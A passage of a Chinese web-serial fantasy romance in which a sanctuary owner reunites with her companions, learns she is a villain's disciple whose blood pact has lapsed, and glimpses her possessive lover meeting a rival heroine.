因为白尘烬一袭漆黑大氅,就落后沈染星一个身位,如同一道阴森影子,寸步不离。 而他这段时日的“战绩”,在场的几乎都见过。 沈染星只好松开与他交握的手,指尖在他掌心短暂地停留了一瞬,无声的安抚一瞬,然后自己主动走向了那群眼巴巴望着她的伙伴。 她脸上绽开温暖的笑容,仿佛不曾离开过一般,自然地融入他们中间。 先是仔细看了看乔阿盈的气色,叮嘱她要好好休养,又拍了拍石多磊的肩膀,感谢他这段时日的操劳。 大家见她神色如常,态度亲切,紧绷的气氛终于松动了一些。 有人大着胆子递给她一副牌,沈染星也笑着接过,当真坐下来玩了两局。 她牌技不算顶好,但运气不错,赢了一局,输了一局,过程中与雪拂互相调侃,逗得九音鸟在一旁叽叽喳喳地学舌,引得众人阵阵发笑。 这短暂而纯粹的玩乐,仿佛将她重新拉回了往日无忧的时光,眉眼间的笑意真切而明亮。 这重新燃起的热闹气氛,一点点驱散了白尘烬所带来的无形寒气。 起先,大家还顾忌着,不敢直接询问沈染星的近况。 还是唯恐天下不乱的雪拂,一边漫不经心地洗着牌,一边率先开了口:“东家,这段时间,他没欺负你吧?” 说完,还撩起眼皮,瞥了一眼白尘烬。 果然……这狐狸是拱火第一名。 沈染星失笑:“那自然是没有的。倒是你们……” 她环视一圈:“这些时日,没有发生什么不好的事情吧?一切都还顺利吗?” 乔阿盈闻言,先是小心翼翼地瞥了一眼远处的白尘烬,发现他眸色沉静,但并无阻止之意,那便是可以和东家说了。 她立刻像是打开了话匣子:“最近发生了可多事情了!” 她这一开头,其他人也仿佛找到了宣泄口,七嘴八舌地补充起来。 原来他们新开的几家分院,早已被各方势力渗透进了不少细作,连这主院里也清理出几个包藏祸心的。 不仅如此,这段时日一直有人明里暗里想要攻击这里,下毒、破坏、甚至伪装成求助的妖类混进来行刺……桩桩件件,听得沈染星心惊肉跳。 而所有这些暗处的危机,都是白尘烬在默默处理,以雷霆手段将威胁扼杀。 他们描述着那些被揪出的细作,有些甚至是平日里看起来颇为老实勤快的。 说着说着,众人的情绪明显低迷了下去。 即便对方是细作,可毕竟也相处了一段时日,有些甚至曾把酒言欢。一是亲眼目睹白尘烬处置手段的狠辣与果决,那血腥场面带来的冲击,尚未完全平复;二来,被信任的人背叛,那种滋味并不好受。 这话题聊着聊着,厅内的气氛再次变得有些沉重。 乔阿盈抱住沈染星手臂:“其实我们最担心的还是你。你突然就消失了,怎么也联系不上,我们都以为你出了什么意外……” 白尘烬冷眼旁观,呼吸渐重,后槽牙紧紧咬着,额角青筋微现,正在极力忍耐着体内翻涌的躁动与暴戾。 很明显,沈染星并不只属于他一个人。 她是这些人的中心,是他们的支柱。 所以当他将她带走,完全占有的时候,这些人会不满,会担心,会因为见不到她而焦虑。而因着他们的这些情绪,沈染星也会受到影响,会为他们牵挂,会因此而不快。 他几乎能看到,无形的线连接着她与这里的每一个人。 他们都在分享着她的关注、她的笑容、她的心力。 原本以为,只要将国师在此地的势力连根拔起,清理掉所有外在的威胁,他就可以完全地、彻底地占有她,让她只看着他一个人。 可如今,他发现还有一些无法处理的人,这些她真心在意、视若家人的人。 一想到沈染星可能会因为这些人而离开他,愤怒和恐慌便无法抑制,几乎要将他吞噬。 一气愤,脑袋里尖锐的刺痛,便再次袭来,如同无数根烧红的针在颅内搅动。 前段时间他为了快速清除威胁,大肆放任体内力量释放,如今这股力量没了外敌作为宣泄口,反而愈发难以控制,反噬自身。 眼见话题愈发低沉,纪明月适时地开口,打破了凝重的气氛:“好了,过去的事暂且不提。我们准备了接风宴,一会儿大家好好聚一聚,大餐一顿。” 刚说出来,低迷的气氛再一次活络。 而与这其乐融融的气氛格格不入的,是白尘烬。 他如同被遗忘在阴影里一般,静静地看着被众人簇拥着的沈染星。 她笑颜如花,与他们谈笑风生,目光流转间,充满了生机与活力……连一丝眼风都不曾扫向他这边。 所有的热闹、温暖与欢笑,似乎都被一道无形的屏障屏蔽在外,他独自被困在冰冷与孤寂之中,只有脑中尖锐的轰鸣和刺痛如影随形。 这被隔绝在外的感觉,并不陌生。 他突然想起,很多年前,在一场宴会上,他的力量第一次失控,肌肤第一次浮现了诡异的图腾。 周围的人皆远远避着他。 惊慌、无助、孤独……那被他强行压抑了多年的情绪,此刻似乎又再次涌现。 白尘烬闭了闭眼,做了一个深长的呼吸,却依旧感觉胸腔滞涩,头疼欲裂。 他知道自己是在嫉妒,嫉妒得发狂。 他恨不得立刻把她拽走,永远困在自己身边,让她只和自己说话,眼里只映出自己一个人的影子,让那些碍眼的人和妖统统消失。 可那样的话,她身上那吸引他的,如同阳光般明媚的活力会逐渐消失,她会像一朵失去滋养的花朵,日渐枯萎。 他迷恋的,本就是完整的她。 可是,可是他现在实在难受极了。 脑袋疼得几乎要炸裂开来,暴戾的力量在血脉中冲撞嘶鸣,渴望破坏,渴望用最直接的方式宣告所有权…… 忽然,一只温软的手扣住了他的左手。 那触感如同一阵沁凉的微风,带着她独有的清甜气息,他因剧痛而几乎混沌的头脑,竟因此清醒了一瞬。 他抬眸,对上沈染星转过来的视线。 不知何时,她已来到了他身边。 她自然地挽住他的手臂,将身体的部分重量倚靠在他身上,然后转头朝周围众人说道: “谢谢大家准备的接风宴,不过你们今晚吃好喝好玩好,我今天实在是有很要紧的事情,就不相陪了。” 乔阿盈已经是第二次问这个问题了:“东家,到底是什么事啊,这样着急?连一顿饭也来不及吃吗?我们都盼了好久……” 沈染星眉眼弯弯:“我家白少爷不高兴了,我得陪陪他。” 厅里,顿时鸦雀无声。 第73章 他们都在欺骗你 周围的人都震惊得说不出话来。 他们当然知道东家与白尘烬关系匪浅, 非同一般。 也隐约猜到或知晓他们之间有肌肤之亲,毕竟他们早已同住一室,形影不离。 可是……他们这一个多月来,是日日夜夜地担忧, 夜夜期盼, 好不容易才把人给盼了回来, 心中积攒了无数的话想说,准备了丰盛的宴席想要庆祝团圆…… 结果,居然连一顿接风宴也没能一起吃上。 东家就要为了安抚那个男人的情绪而离开? 有许多人心中涌起强烈的不满, 甚至看向白尘烬的目光也带上了幽怨。 可这毕竟是沈染星自己做出的选择, 他们作为下属和朋友, 也不好再说什么。 人群中,纪明月的脸色则白得离谱,毫无血色,连嘴唇都微微颤抖起来。 她的目光紧紧盯着两人相携离去的背影。 雪拂连叫了她好几声,她才猛地回过神来。 雪拂伸手揽住她的肩膀, 将她往自己怀里带了带, 低声问道:“怎么了, 你发现什么了吗?” 纪明月反手紧紧抓住雪拂的衣袖, 力道大得指节泛白,她压低声音:“我担心……我担心他会伤害染星。” 雪拂微微一怔,随即安抚地拍了拍她的背:“他不会的。他虽然手段狠戾,但对东家,你我都看得明白, 那是捧在手里怕摔了,含在嘴里怕化了。” “若是不受他失控了呢?” “这些时日以来,他血里来, 血里去,何时失控过,如今时局暂定,又怎会突然失控。” 雪拂沉默了一下,将她搂得更紧些:“别自己吓自己。” 纪明月深吸一口气,想继续反驳,又将未出口的话咽了回去。 雪拂低头,在她发顶落下一个轻吻:“没事,别担心。” 另一边,沈染星挽着白尘烬的手臂,回到了他们位于别院深处的房间。 一进门,隔绝了外面,房间内顿时陷入一片寂静。 白尘烬丝毫没有发怒的样子,甚至比平时更加安静,但沈染星就是感觉有什么地方不一样了。 一道灵光划过脑海,她似乎发现哪里不对了。 沈染星将他按坐在暖榻上。 “你解开素帛让我看看。”她说着,就要直接上手去解他脸上的布帛。 白尘烬侧了一下头,躲开了她的手:“为什么突然想看这个?” 沈染星跪在他膝盖之间,再次伸手,这一次白尘烬没躲。 沈染星一边扯松他的素帛,一边道:“虽然说以前没完整见过你素帛下的肌肤,可透过那些松散的缝隙看时,是看不到这些灰蓝色图腾的。” 白尘烬眼光闪烁。 沈染星继续道:“可是你这一段时间,这些图腾就没有消失过,无论是在你情绪平稳,还是其他时候,它们一直都在。” 沈染星也大致摸清了一些规律。 白尘烬对自己力量的压制越吃力,他身上的异样就越是明显,甚至这些图腾也不是固定不变的。 这段时日,她亲眼所见,他肌肤上图腾覆盖的范围,在悄无声息地扩大。 本来那些纹路只蔓延到心口附近,如今…… 她伸手去扯他衣襟的系带。 白尘烬似乎想阻止,抬手握住了她的手腕,但力道并不重。 沈染星抬眸,对视片刻,他还是松开了手,把手放到她腰间,轻轻摩挲着。 她一层层扒开他衣袍,露出了胸膛和腹部,紧实而线条分明。 白尘烬的素帛只裹到胸肋处,没了衣裳的遮挡,腹部那片新出现的诡异纹路,一下子便暴露无遗。 那纹路比心口的颜色稍浅,仿佛是从那一处延申出来的。 在沈染星的注视下,白尘烬表情没什么变化,只是眼神愈发幽深。 沈染星伸出指尖,轻轻戳在他腹部那片图腾上。 白尘烬腹部肌肉一紧,小腹都痉挛了几下,呼吸也粗重了几分。 那图腾仿佛有生命般,在她触碰下泛起更深的幽光。 “这里,”沈染星道,“以前是没有图腾的,现在也有了。” 沈染星还在继续说些什么,分析着,追问着。 但白尘烬已经听不太进去了。 他闭上眼睛,喉结重重地滚动了几下。 天知道,他为了让疲惫的她能好好休息几天,今日是下了多大的决心,才忍着不碰她。 谁能料到,她前几日不曾在意,不曾这般执意扒开他的衣裳探查,偏偏这时探究。 沈染星见他闭目不答,按在他腹部的力道加重了一些:“你回答我啊,这到底是怎么回事?” 她说的每一个字,他都听见了,却完全无法理解那是什么意思,什么也不想,就吻住了她的嘴。 沈染星一怔,也跟着慢慢回应。 感受到她的顺从,白尘烬手臂收紧,将她打横抱起,放入柔软的被褥之中。 男人有力的手臂青筋微起,一手紧扣着她的后颈,加深这个吻。 到底……还是要食言了。 其实,他最初真的只是想要她静静地陪着他。 就他们两个人。 沈染星身上袄裙被他缓缓拨开,露出大片如霜如雪的肌肤。 每次这样俯视她,白尘烬都会涌起一股难以抑制的冲动。 他俯在她耳侧,哑着声音:“我今日轻一些。” 或许是先前在马车说过此事,白尘烬这一次显然要耐心多了,他手指修长,骨肉均匀,时轻时重,熟透了,才会渐渐深入。 片刻过后,她仰着头,像似乎是空气太过黏稠,让她有些喘不过气了。 就是她这幅任人宰割的表情,他根本受不住。 夜色渐深,月亮高悬中天 ,把树枝的影子印在窗上,摇摇晃晃的。 窗纸灰色的影子猛地一颤,房里突然传出一声嗔呼。 紧接着,是白尘烬低着不太稳的嗓音,轻轻哄她的声音。 昨夜刚落了一场雪,即便院中一片白,也是阴沉沉的。 三日后,白尘烬情绪终于缓和了不少,不再一步不离地当她的影子。 沈染星与纪明月并肩,走在清扫过的回廊下,商议着将共生苑分院开设到京城的具体事宜。 纪明月条理清晰,分析着京中势力分布与潜在风险,沈染星认真听着,不时提出自己的看法。 行至一处廊庑转角,纪明月引导着沈染星走向另一条稍显僻静的小径,语气如常地说道:“这边走,近些。” 沈染星不疑有他,觉得绕一下路看看景致也无妨,便从善如流地跟着她改变了方向。 事务刚大致商定,纪明月便借口要去核对账目,与沈染星道别离开了。 沈染星独自一人沿着小径慢慢走着,享受着雪后清新的空气。 忽然,她听到旁边光秃秃的灌木丛后,传来细碎的说话声。 放缓脚步,侧耳倾听,是小雪貂。 小雪貂正趴在牛妖宽大的头顶上,百无聊赖:“你说那个萧东家,还会不会回来看我们呀?” 沈染星一听,“萧东家”三个字如同惊雷在她耳边炸开。 整个人都愣住了,脚步瞬间钉在原地。 萧东家? 即便姓萧的人很多,可她脑海中第一时间浮现的,便是萧霁雪。 可是…… 她已经回来好几日了,为什么这里的人和妖,从来没有任何一个人,在她面前提起过萧霁雪曾经来过? 而且听小雪貂这熟稔的语气,萧霁雪似乎还不只是短暂的访客…… 这时,牛妖那瓮声瓮气:“你若是想她了,自己去找她呗,你妖力不是最擅长追踪寻人了吗?” 小雪貂立刻在牛头上站了起来,小爪子叉腰,似乎想要反驳。 “找谁?” 沈染星从灌木丛后走了出来。 周围的空气仿佛瞬间冻结了。 原本在附近悠闲踱步或晒太阳的小妖们,听到沈染星的声音,看到她突然出现,全都噤若寒蝉,僵在原地,眼神躲闪,不敢与她对视。 小雪貂深知是自己说漏了嘴惹的祸,只能硬着头皮道:“我不会去找她的,我永远都要留在你身边。” 沈染星问道:“是萧霁雪吗?” 小雪貂一听,毛都要炸起来了:“东家,你别生气,是白大哥不让我们说的。” 它话音刚落,九音鸟便从枝头急飞而下,用它尖尖的喙不轻不重地啄了一下小雪貂的脑袋,尖声道:“蠢貂,白大哥是让我们都不许说,你怎么还在说。” 牛妖见瞒不住了,耷拉着脑袋:“其实也没什么大不了的事。就是东家你不在的那段日子,明月姐姐好像心事重重,也不太管事了,院里群龙无首,大家都有点慌。恰好那时候萧东家来了,看我们乱糟糟的,就顺手帮我们管了几天,定了定规矩,稳住了局面……她人挺好的,真的。” 沈染星看着吓得萎靡不振,几乎要缩成一团的小雪貂,叹了口气。 将它从牛头处捞过来,抱在怀里,轻轻抚摸着它柔软的皮毛:“没事,我就问问。” 她怎么可能,又怎么可以生气? 听这意思,在那段最难熬的日子里,是萧霁雪及时出现,伸出了援手,稳住了共生苑的局面,避免了可能出现的混乱和危机。 于情于理,她都该感激萧霁雪才对。 再者,她只是一个模仿者,萧霁雪才是正主。 众妖见沈染星神色如常,语气温和,真的没有动怒的迹象,这才纷纷松了一口气,紧绷的气氛稍稍缓和。 这时,本该离开的纪明月去而复返,身影再次出现在小径尽头。 她比这些心思单纯的小妖观察要细致入微得多,自然一眼就看出,沈染星神情略微不自然。 不过,让她有些意外的是,沈染星似乎很轻松地就接受了,众人瞒着她,在她不在的那段时间,萧霁雪帮忙管理妖院的事。 没有深究或表现出被欺瞒的愤怒。 沈染星察觉到纪明月的视线,抬眸看向她:“明月?你怎么又回来了?是账目有什么问题吗?” 纪明月走到她面前:“账目无事,我是想同你说一些别的事。” 沈染星心中微动,隐约预感到了什么。 她将怀里的小雪貂轻轻放回牛头,拍了拍它的屁股,然后对纪明月点了点头:“好。” 两人默契地转身,沿着来时的那条僻静小径缓缓往回走。 积雪在脚下发出轻微的咯吱声。 沉默了片刻,沈染星率先开口:“刚才是你故意引导我走这条路,也是你算准了时间离开,好让它们无意中讨论起萧霁雪,让我知道那段时间发生的事情吧。” 不是疑问,而是陈述。 纪明月没有丝毫被戳穿的窘迫,大方承认:“是。” “为什么?” “他们都在欺骗你。” “明月,我想知道真正的原因。” 纪明月眼底一片冰冷:“我看到了你的生死状。” 沈染星瞳孔骤缩,心跳漏了一拍,脚步不由自主地顿住。 那东西居然是真的? 纪明月继续道:“国师座下,每一位被他真正认可的亲传弟子,在入门之时,都需以精血与神魂签下一份生死状。此状关联师徒二人,效力霸道,除非双方中有其中一人彻底死亡,否则这契约永不会失效,弟子永远无法真正脱离师门。” 沈染星呼吸一滞,一股寒意从脚底瞬间窜遍全身,让她如坠冰窖。 “你是说……我是……” “没错,你也是国师的弟子之一,是我的师妹。”—— 作者有话说:那个节点,就这几天了 第74章 那便一直送 纪明月看着沈染星发白的脸, 一向冷硬的心软了一瞬,可她很快又冰封起来。 不可以心软。 当初沈染星被白尘烬强行带走,音讯全无。 纪明月起初并不知情,甚至做了最坏的打算, 以为是国师察觉到了什么, 先一步将人秘密处理或召回了。 忧心如焚之下, 她冒险偷偷潜入了沈染星的房间,试图寻找线索。 在一个柜子最深处,她翻找出了两样东西:一张生死状, 一封来自萧霁雪的信。 那封信, 沈染星没回复, 可见她对萧霁雪的态度。 纪明月记得,最初的她对那位惊才绝艳萧霁雪,是近乎盲目的嫉妒与仰慕的,恨不得能立刻与之结交。 可不知从何时起,她开始有意无意地逃避, 不正面面对与萧霁雪相关的一切事宜。 虽说其中具体的缘由, 纪明月猜不透, 想不通, 但这并不妨碍她利用这一点。 萧霁雪,或许可以成为一个促使沈染星离开的契机,一个比白尘烬或其他任何人都有力的理由。 前些日子,白尘烬以雷霆万钧之势,将国师布置在此地的势力连根拔起, 手段狠绝,不留活口。 这无疑是在国师脸上狠狠扇了一记耳光,已使其成为国师的眼中钉、肉中刺, 恨不得立刻拔除。 再加上萧霁雪与当今天子暗中配合,步步紧逼,在朝堂与民间舆论上双管齐下,已逼得国师势力节节败退,行事愈发猖狂。 这世道,眼看就要不太平了。 可以遇见的是,这里将是风暴中心。 而沈染星……纪明月看着她,她心性不够坚韧,手段不够狠辣,心肠又太过柔软,容易信任他人,这样的她,如何能应对得了那些吃人不吐骨头的豺狼虎豹。 更何况,其中最危险的,是白尘烬。 世人皆知御妖台下设有灵缉司与天狩司,却鲜少听闻丹冶司的存在。 丹冶司不仅研究出了用妖核、妖钉等物暴力控制、折磨妖族的方法,更在持续不断地、秘密地收集着各类妖丹,尤其是那些力量强大或血脉特殊的妖丹。 那些被送入丹冶司的妖丹最终去向何处,连纪明月这个曾经的亲传弟子也不完全清楚。 但她隐隐知道,丹冶司一直在进行着某种与妖族力量相关的研究。 而当年导致白尘烬首次彻底失控,据说便是丹冶司的成果之一。 经过这么多年的挣扎与压制,白尘烬似乎已经能够在某种程度上控制住体内的躁动与力量…… 可若是,在接下来不可避免的冲突与战斗中,丹冶司持续不断地对他使用类似甚至更强的药物呢? 毒素累积到一定程度,他总会彻底崩溃,再次发疯,到那时,恐怕再也无人能控制住他。 而以沈染星的性子,纪明月太了解了。 她看似随和,骨子里却有着惊人的执着。 若真到了那一天,她大概率不会独自逃走,反而会不顾一切地想要拉住他,拯救他…… 那结局,几乎是注定的悲剧。 她不可以让沈染星出事。 无论如何,必须在大战彻底爆发之前,让她离开这个是非之地,越远越好。 “你的生死状,”纪明月道,“已经失效了。” 沈染星骤然抬眸。 “所以,你现在不受任何人的制约,你是自由的了。” 沈染星猛地瞪大双眼,几乎怀疑自己听错了。 纪明月耐心地给她解释:“生死状本是一张绘制着特殊契约的红色图腾,如今,你这一份上面的图腾色泽已经彻底变作沉黯的黑色,灵力全无,所以它已经是一张废纸了,对你再无束缚之力。” 纪明月心中早有猜测,眼前之人不是师妹,是一个新的人,曾经听说过又夺舍之术,或许她是夺舍了师妹身体的一个亡魂。 沈染星听说那生死状是真的,满心惊惧,又听说自己是国师弟子,反派阵营的人…… 那一瞬间,她便想起了,书中说过,国师一派的人,几乎没有任何活口。 这么想来,应当是这生死状作祟。按国师那样偏激的反派,临死前拉一群人陪葬,也不是没可能。 而既然正派注定会赢,那么岂不是表明,身为国师弟子的自己,也注定会死。 这个认知让她如坠冰窟,心凉了半截。 纪明月却又告诉她,她的生死状已经失效了。 死而后生,绝处逢生,带来强烈刺激感,一下子将她心中所有的恐惧、惶惑、沉重都冲散了。 劫后余生的狂喜涌上心头,她一下子忘形地扑上前去,紧紧抱住了纪明月。 纪明月静静地站在原地,没有推开她,也没有回应,只是任由她抱着。 等待着她的下文。 可等了许久,怀中的沈染星只是兀自开心着,并没有继续说话的意思。 纪明月不得不再次开口:“我是说,你现在自由了,不再受任何束缚。你可以去任何你想去的地方,可以……” 她顿了顿:“我可以向你保证,我会尽力护着这里剩下的人和妖,不让他们受到牵连。所以,你若是想要离开……” 她的话还没说完,沈染星便从她肩上抬起头,打断了她:“我最想去的地方,就是这里,最想见的人,就是你们。” 纪明月怔住了。 心尖像是被什么东西猛地烫了一下,这感觉让她本能地生出一股恐慌。 她不相信沈染星会愚蠢到看不出此地将要面临的危险。国师的报复,皇权的博弈,白尘烬这个不定时炸弹……每一样都足以让她万劫不复。 可她……还是不愿意离开。 沈染星没和纪明月耽搁太久,分别后,去将几件亟待处理的苑内事务一一安排妥当。 待一切处理完毕,日头已微微西斜,她带着些许疲惫,踏着积雪,回到了自己的院落。 刚踏进月洞门,便看见了枯树下的一道修长身影。 白尘烬正背对着她,竟换上了那件她送的藏蓝色衣袍。 那衣袍的料子普通,裁剪也并非顶好,穿在他身上明显有些偏大了,宽大的袖口和衣摆在山风中微微拂动,衬得他挺拔却清瘦的身形愈发清晰。 普通衣衫穿在他身上,在一片素洁的雪地上,虬枝盘曲的老梅映衬下,竟褪去了往日的凛冽与阴郁,反倒生出几分落拓不羁,仙风道骨,仿佛随时会踏雪而去。 沈染星的心轻轻颤了一下。 脸上不自觉地漾开笑意,放轻脚步,几乎是踮着脚尖,悄悄从他身后靠近。 白尘烬没有回头。 沈染星走到他身后,伸出双臂,从后面环住了他劲瘦的腰身,将侧脸紧紧贴在他温暖的背脊上。 此时,她才惊觉,方才被白尘烬迷了眼,也迷了心,触碰了,才发觉这是夏日的衣裳。 “穿得那么少,不冷吗?”她的声音闷在他的衣料里,带着甜甜的鼻音,像在撒娇。 白尘烬将手覆盖在她手背上,何止不冷,温度似乎比常人更高。 不止身上的图腾有异样,他最近也一直在发热。 在沈染星的再三要求下,昨日去了一趟济世堂。 那老大夫说,这其实也不算发热。 冯维翰说,让她不必忧心。 既然他们都那边冷静,沈染星便也放下心来。 他没有直接回答,只道:“回来了。” “嗯,回来了。” “你手有些冷。” “那你再捂久一点,就暖和了。” 他微微侧头,灰蓝色的眼眸在雪光映衬下,静谧而专注。 “好。”白尘烬拉了拉她往上缩的衣袖,遮住她露在外的手腕。 她忍不住向他汇报行程,绕到他身前,却不离开他的怀抱,仰着脸看他:“事情一办完就赶紧回来了,一刻都没多待。” 白尘烬垂眸看着她,眉眼温柔,又牵过她的手,握在掌心,那温度烫得沈染星心尖一颤。 “嗯。”他声音低哑了些许。 “这衣服做得不好,我亲手给你量尺寸,再做一件贴身的。” “只有一件吗?” “那你想要多少件?” 白尘烬没回答,只是轻皱眉头,似乎对这个数量十分纠结。 沈染星:“那……一直送?怎么样?”- 沈染星把人带回房里,又翻出了软尺,一转头,白尘烬居然把外袍给脱了,只剩一件白色的单衣。 也行吧。 她抬头看着他道:“抬手,我替你量一下。” 白尘烬“嗯”了一声,缓缓张开了双臂。 自从知道这件衣裳选得有些大了之后,她便抽空去找裁缝师父,学习了如何测量尺寸。 虽说这事裁缝师父也做得,但她有预感,若是她亲自动手,白尘烬会很高兴。 可万万没想到,他不仅高兴,还出奇的兴奋…… 沈染星捏着软尺,双手环过他的腰,低头,还未看清数字。 白尘烬便用用食指挑起了她的下颔,睥睨着她晴朗的眉眼。 二人靠得很近,这样的动作便带着一股调情的意味。 沈染星紧紧捏着软尺刚量出来的长度,抵住他:“先量好。” “就亲一下。”白尘烬的声音暗哑,好似有一股磁力,震的她心尖发颤。 话音一落,白尘烬伸手,往她脖后一按,便吻了下去。 可有时候男人的话是不可信的,即便是白尘烬的,也不可信。 两人到底是恩爱了一段时日,白尘烬早便摸透了她的性子、她的身子,可太知道如何让她顺着自己的想法做下去。 他掐着她的腰,由浅入深地亲她,喉结渐渐往下,很快,她整个人便软在他的怀里。 夜色渐深,白尘烬拨开了她脖后的发丝,低头去咬她纤细的脖子,呼吸滚烫得接近沸腾,喷洒再她的肌肤上。 事毕,沈染星顶着潮湿的发,气呼呼地看着白尘烬。 一刻钟不到,便可以量好的尺寸,被他这一次次的打搅,不仅没量好,软尺还扯坏了!—— 作者有话说:谢谢宝们的祝福[撒花][撒花] 第75章 你可以不去吗? 次日, 天气倒是晴好,连日的积雪在暖阳下渐渐消融,屋檐下滴答着晶莹的水珠。 沈染星一早便找来了新的软尺,拉着白尘烬, 仔仔细细地给他量了全身的尺寸。 从肩宽到袖长, 从胸围到腰身, 再到腿长,量得格外认真,引得他眸光微暗。 想再一次闹她, 又担心她真生气, 也担心她吃不消, 所以只是静静站着,配合着她的动作,像一尊任由她摆布的俊美雕像。 “好了!”沈染星记下最后一个数字,满意地收起软尺,抬头对他嫣然一笑。 白尘烬看着她明媚的笑颜, 抬手将她颊边一缕散落的发丝别到耳后, 指尖在她细腻的皮肤上短暂停留, 低声道:“好。” “我打算去一趟镇里, ”沈染星握住他的手,轻轻晃了晃,“你要不要也一起?” 她兴致勃勃,可白尘烬沉默片刻,道:“我恰好有些事。” 沈染星不强求:“好, 那下次再和你去了。” 说罢,她揣好记着尺寸的纸条和钱袋,心情颇佳地出了门。 走到共生苑大门口, 一抬头,便看见了马车旁的纪明月。 今日的纪明月换下了一贯利落的劲装,穿着一身素青色的锦缎长裙,外罩一件银狐毛滚边的斗篷,少了几分平日的清冷,多了几分闺秀的温婉。 她余光瞥到沈染星,脚步微顿,转身道:“正要去找你,今日苑内事务不多,我想去城里逛逛,采买些东西,你可要一同去?” 昨日的摊牌,似乎没有影响二人的关系。 变化倒是有,没了刻意忽视的芥蒂,两人居然亲近了不少。 沈染星点头,亲昵地挽住纪明月的手臂:“好啊好啊,我正好要去裁缝铺,完了我们还可以一起去街市上逛逛,我听说最近来了不少妖域商队,说不定能淘到些新奇玩意儿呢。” 这段时间,正反双方相斗中,萧霁雪攻池掠地,拿下国师手中咬下一块又一块地。 方圆镇则是其中之一,还被立为了典型。 因为长期以来,人与妖生死相斗,想要扭转思想,立即接受和平相处,不是一件简单的事。 可方圆镇却不费吹灰之力,便接受了,甚至还和妖域做起了生意。 也因着这新奇的变化,方圆镇空前繁荣。 两人一同上了马车,朝着城内驶去。 到了城中最繁华的街市,沈染星先是直奔裁缝铺,将尺寸交给老师傅,又认真挑选了两款时下流行的款式,一款用深青色暗纹锦缎,一款用玄色提花厚绸,都是保暖又显气质的料子。 付定金时,她还不忘细细叮嘱领口和袖口的细节处理,务必要求做得精致妥帖。 纪明月在一旁静静看着,眼神微动,并未多言。 沈染星察觉到她的视线,问道:“怎么了吗?” 纪明月摇头,淡淡道:“没事。” 从裁缝铺出来,两人转过两个街角,便到了最热闹的一条街。 这一处街市果然热闹非凡,叫卖声、吆喝声、讨价还价声不绝于耳。两旁店铺林立,摊贩云集,绫罗绸缎、珠宝首饰、胭脂水粉、南北干货、精巧玩意儿……琳琅满目,令人应接不暇。 妖域的物品,设计款式与寻常的差距甚大,沈染星看什么都觉得新鲜。 两人走走停停,不知不觉都感觉有些腿酸脚软,手中也提了不少东西。 “累了,”沈染星揉了揉小腿,提议道,“明月,我们到那处酒楼歇歇脚吧。” 纪明月没立即答应,略一思索,道:“我知道前面有一家茶楼,环境清雅,茶点也不错,说书先生也是一绝,不如去那里坐坐?” 沈染星一听有故事听,立刻来了精神:“好啊,就去那里。” 两人便朝着纪明月所指的方向走去。 茶楼位于街市相对安静的一隅,是一座三层高的木制阁楼,飞檐翘角,看起来颇为雅致。 进门便有热情的伙计迎上来,听说她们要雅间,便直接将她们引到了二楼一间临街的雅室。 雅间布置得十分清幽,燃着淡淡的檀香,透过支开的窗户,可以看到楼下熙熙攘攘的街景,而室内又隔绝了大部分的喧嚣。 她们点了一壶上好的茶,底下有炭火煨着,旁边摆上几样精致的茶点。 楼下大堂传来“啪”一声醒木脆响。 说书先生精神矍铄,留着山羊胡,端坐台前。 他清了清嗓子,便开始讲了起来,声音洪亮,抑扬顿挫,今日讲的似乎是一个奇女子。 沈染星越听越奇怪。 虽说化名了,可沈染星还是听出来—— 那个奇女子似乎是……她? 情节曲折,情感饱满,时而激昂,时而低沉,将台下听众的情绪牢牢抓住,引得众人时而唏嘘,时而惊叹,掌声与叫好声接连不断,气氛十分热烈。 什么斩蛇妖,收狐妖,以一己之力保住了流芳阁,几度陷入生死境地……作为故事的主角,她自己竟也不知道,那些事竟这样惊险刺激。 “只见那女侠脚尖点地,再度跃身而起,手上长刀挽出个气势磅礴的剑花……” 听着那说书先生大吹特吹,沈染星几乎想要捂起脸来。 纪明月品着香茗,一向镇定的她,也不小心被呛了一口茶。 此时,隔着竹帘,隔壁雅间传来谈话声。 “要我说,咱们如今能真正了解妖族,知道它们并非天生嗜杀,多亏了共生苑那位沈东家。” “是啊,”另一人附和,“听说自从共生苑办起来,各地妖物伤人的事件都少了大半。以前那些惨案,多半是有些心术不正的猎妖人,为了妖丹皮毛肆意猎杀,引得妖族报复。” 又一个声音插入:“但其中发挥最大作用的,应当是萧大人,她将此事推动开来,引起朝野重视,制定新策的,她在京城周旋,力排众议,若非她……” “话不能这么说,万事口头难……” 沈染星正听着这些议论,目光不经意间,掠过楼下街道的一个转角。 就是这一瞥,她的呼吸停滞了一瞬。 在那个相对僻静的角落,侧背对着她这边,站着一个她再熟悉不过的高挑身影——白尘烬。 他身子挺拔,清冷,在来往行人中,显得格格不入。 而站在他面前的,是一位女子。 即便从未见过,即便只是一个侧影,沈染星也在第一时间确定…… 那人,就是萧霁雪。 她身着一袭月白织锦长裙,素雅而华贵,裙摆上用银线绣着繁复花纹,在光线微暗的角落隐隐流动着清辉,外罩一件淡青色薄氅。 她身姿如兰,气质清冽,如雪后初霁,仅仅是一个侧影,便已夺去了周遭所有的光华。 所有的声音离沈染星而去,耳朵似乎响起了嗡鸣声。 那是怎样一张令人见之忘俗的脸。 眉不画而黛,唇不点而朱,肌肤胜雪,五官精致得令人移不开眼。 萧霁雪的眉头正微微蹙起,秋水眼眸担忧而急切,仰着脸,望着面前的白尘烬。 那眼神清澈又坚定,美得极具侵略性,却又因那份忧色而惹人怜惜。 环境太过嘈杂,沈染星听不见他们在说什么。 只能看到萧霁雪的嘴唇快速开合,神情似乎有些激动,像是在极力解释或恳求着什么。 白尘烬神色淡淡,看不出情绪,只是静静听着她的话。 片刻后,他微微颔首,像是结束了对话,转身便要离开。 萧霁雪见状,疾步上前,伸手拉住了白尘烬的衣袖。 白尘烬侧头看她。 “哐当”一声脆响,随即是瓷片碎裂的声音,突兀,又让人心惊。 茶壶的茶壶被打翻了,烧得正红的炭火倾倒而出,滚烫的茶水倾泻而出,精致的点心滚落,一片狼藉。 纪明月被这突如其来的声响惊动,看见向猛然站起来,差点翻了桌子的沈染星。 也瞧见了火红的炭划过沈染星的手背。 纪明月心中一紧,连忙牵过沈染星的手,“伤着了吗?我看看。” 然而,她还未看清伤口,沈染星就将手抽了回去,速度快得惊人。 “染星?”纪明月再度抬眼时,只捕捉到沈染星匆匆夺门而出的背影。 沈染星几乎是跑着下了楼,穿过喧闹的大堂,不顾周围投来的诧异目光,径直冲到了刚才那个角落。 那里早已空无一人。 只有往来穿梭行人,熙熙攘攘,谈笑风生,仿佛刚才那一幕,只是她在嘈杂环境中产生的幻觉。 